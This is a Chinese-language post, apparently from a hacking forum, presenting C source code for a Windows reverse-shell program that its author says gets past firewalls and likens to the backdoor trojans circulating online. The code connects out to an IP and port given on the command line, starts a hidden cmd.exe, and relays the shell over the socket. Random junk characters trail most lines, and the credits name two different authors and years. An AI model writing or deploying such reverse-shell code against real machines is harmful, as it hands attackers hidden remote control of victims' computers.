这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Ss$/Bh>hN
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/* ============================== 7mBH#Q)
Rebound port in Windows NT 5fjL
By wind,2006/7 b uOpHQn
===============================*/ AbA_s I<;
#include dVKctt'C
#include WXmR{za
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#pragma comment(lib,"wsock32.lib") ?qJt4Om
k,h
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void OutputShell(); m3']/}xHO
SOCKET sClient; b
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ZFFKv
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void main(int argc,char **argv) SCq:jI
{ s%/x3anz=
WSADATA stWsaData; Gv\:Agi
int nRet; n1
SOCKADDR_IN stSaiClient,stSaiServer; m/bP`-/,
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if(argc != 3) m4_ZGjmJM
{ `P
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printf("Useage:\n\rRebound DestIP DestPort\n"); N_liKhq
return; #<o=W#[
} 8$~^-_>n/
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WSAStartup(MAKEWORD(2,2),&stWsaData); J>dIEW%u
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _L%
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stSaiClient.sin_family = AF_INET; TMw6
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stSaiClient.sin_port = htons(0); T?k!%5,Kj
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `_+%
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =OamN7V=
{ S.R|Bwj}(Y
printf("Bind Socket Failed!\n"); P<C=9@`!
return; _@@.VmZL
} `6RR/~kP(
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stSaiServer.sin_family = AF_INET; K:q|M?_
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,!vI@>nhG
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); pg.BOz\'q
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {wh, "Ok_
{ 4vJg"*?
printf("Connect Error!"); +5"Pm]oRbx
return; [79iC$8B|
} &a!MT^anA~
OutputShell(); h|%a}])G)
} U(:Di]>{
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void OutputShell() v(P5)R,
{ $&X-ay o
char szBuff[1024]; R q`j|tY
SECURITY_ATTRIBUTES stSecurityAttributes; [w{x+6uX'
OSVERSIONINFO stOsversionInfo; x4XCR,-
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; yrG=2{I
STARTUPINFO stStartupInfo; F$@(0c
char *szShell; .&2~gA
PROCESS_INFORMATION stProcessInformation; 9xOTR#B:_V
unsigned long lBytesRead; 9@>Q7AUCQ
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); W!V-m
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); H>F j
stSecurityAttributes.lpSecurityDescriptor = 0; 9`tSg!YOh
stSecurityAttributes.bInheritHandle = TRUE; n;LjKE
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); C."\ a_p
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); yJW/yt.l
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8'M:uI
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (,D:6(R7t
stStartupInfo.wShowWindow = SW_HIDE; Zp/$:ny
stStartupInfo.hStdInput = hReadPipe; ej,R:}C%`
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Y=D\
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GetVersionEx(&stOsversionInfo); "R]wPF5u
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switch(stOsversionInfo.dwPlatformId) ?2,{+d |
{ PR7B
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case 1: nP_)PDTFp
szShell = "command.com"; 40G'3HOp
break; m(`O>zS
default: wz>[CXpi_
szShell = "cmd.exe"; U |Uc|6
break; Aw&0R" {
}
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); JCci*F#r
s8dP=_ `
send(sClient,szMsg,77,0); -vv_6ZL[
while(1) 0i>p1/kv
{ intl?&wC
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 1A[(R T]
if(lBytesRead) \h?6/@3ob
{ 2I283%xr
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1024L;
send(sClient,szBuff,lBytesRead,0); LtUvFe
} /=g/{&3[a>
else U4qk<!
{ 7CH.BY
lBytesRead=recv(sClient,szBuff,1024,0); @`ii3&W4
if(lBytesRead<=0) break; A4(k<<xjE
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >+DMTV[O
} z[@i=avPG
} [^D>xD3B2
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return; eAStpG"*
}